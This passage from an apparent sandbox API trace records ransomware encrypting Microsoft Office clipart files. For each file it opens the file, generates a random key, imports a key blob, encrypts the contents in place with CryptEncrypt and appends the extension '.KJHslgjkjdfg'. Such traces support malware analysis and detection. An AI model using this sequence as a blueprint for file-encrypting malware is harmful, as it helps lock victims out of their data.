"c:\\program files\\microsoft office\\clipart\\pub60cor\\prrt.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrt.wmf.kjhslgjkjdfg")) returned 1 [0188.962] CloseHandle (hObject=0x114) returned 1 [0188.962] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0x7aac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PRRTINST.WMF", cAlternateFileName="")) returned 1 [0188.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrtinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.963] GetProcessHeap () returned 0x2a0000 [0188.963] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.964] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.964] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.964] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.965] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.966] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.966] GetProcessHeap () returned 0x2a0000 [0188.966] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.966] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.966] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.966] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.966] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.966] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.966] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.966] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.966] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.966] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.966] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.966] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.966] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7aac, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7aac, lpOverlapped=0x0) returned 1 [0188.967] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7ab0, dwBufLen=0x7ab0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7ab0) returned 1 [0188.968] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.968] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7ab0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7ab0, lpOverlapped=0x0) returned 1 [0188.968] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.968] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7b84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.968] SetEndOfFile (hFile=0x114) returned 1 [0188.970] GetProcessHeap () returned 0x2a0000 [0188.970] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.970] GetProcessHeap () returned 0x2a0000 [0188.970] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.970] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrtinst.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrtinst.wmf.kjhslgjkjdfg")) returned 1 [0188.972] CloseHandle (hObject=0x114) returned 1 [0188.972] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSRETRO.WMF", cAlternateFileName="")) returned 1 [0188.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\psretro.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.974] GetProcessHeap () returned 0x2a0000 [0188.974] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.974] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.974] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.974] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0188.975] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.976] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.976] GetProcessHeap () returned 0x2a0000 [0188.976] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.976] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.976] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.976] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.976] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.976] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.976] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.976] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.976] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.976] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.976] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.976] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.976] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3d6, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3d6, lpOverlapped=0x0) returned 1 [0188.976] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3e0, dwBufLen=0x3e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3e0) returned 1 [0188.976] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.976] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3e0, lpOverlapped=0x0) returned 1 [0188.976] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.977] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.977] SetEndOfFile (hFile=0x114) returned 1 [0188.979] GetProcessHeap () returned 0x2a0000 [0188.979] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.979] GetProcessHeap () returned 0x2a0000 [0188.979] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.979] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\psretro.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\psretro.wmf.kjhslgjkjdfg")) returned 1 [0188.980] CloseHandle (hObject=0x114) returned 1 [0188.980] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe0a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSSKETLG.WMF", cAlternateFileName="")) returned 1 [0188.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketlg.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.982] GetProcessHeap () returned 0x2a0000 [0188.982] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.982] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.982] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.982] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0188.984] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.984] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.984] GetProcessHeap () returned 0x2a0000 [0188.984] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.984] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.984] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.985] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.985] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.985] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.985] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.985] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.985] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.985] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.985] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.985] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.985] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xe0a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xe0a, lpOverlapped=0x0) returned 1 [0188.985] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xe10, dwBufLen=0xe10 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xe10) returned 1 [0188.985] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.985] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xe10, lpOverlapped=0x0) returned 1 [0188.985] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.985] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xee4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.986] SetEndOfFile (hFile=0x114) returned 1 [0188.988] GetProcessHeap () returned 0x2a0000 [0188.988] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.988] GetProcessHeap () returned 0x2a0000 [0188.988] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.988] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketlg.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketlg.wmf.kjhslgjkjdfg")) returned 1 [0188.989] CloseHandle (hObject=0x114) returned 1 [0188.989] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a7450f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x776, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSSKETSM.WMF", cAlternateFileName="")) returned 1 [0188.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketsm.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.993] GetProcessHeap () returned 0x2a0000 [0188.993] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.993] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.993] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.993] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0188.995] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.995] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.995] GetProcessHeap () returned 0x2a0000 [0188.995] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.995] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.995] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.995] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.995] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.995] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.995] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.995] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.995] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.996] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.996] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.996] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.996] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x776, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x776, lpOverlapped=0x0) returned 1 [0188.996] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x780, dwBufLen=0x780 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x780) returned 1 [0188.996] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.996] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x780, lpOverlapped=0x0) returned 1 [0189.001] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.001] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x854, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.002] SetEndOfFile (hFile=0x114) returned 1 [0189.004] GetProcessHeap () returned 0x2a0000 [0189.004] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.004] GetProcessHeap () returned 0x2a0000 [0189.004] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.004] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketsm.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketsm.wmf.kjhslgjkjdfg")) returned 1 [0189.006] CloseHandle (hObject=0x114) returned 1 [0189.006] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d0aad90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb12, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSWAVY.WMF", cAlternateFileName="")) returned 1 [0189.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pswavy.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.007] GetProcessHeap () returned 0x2a0000 [0189.007] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.007] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, 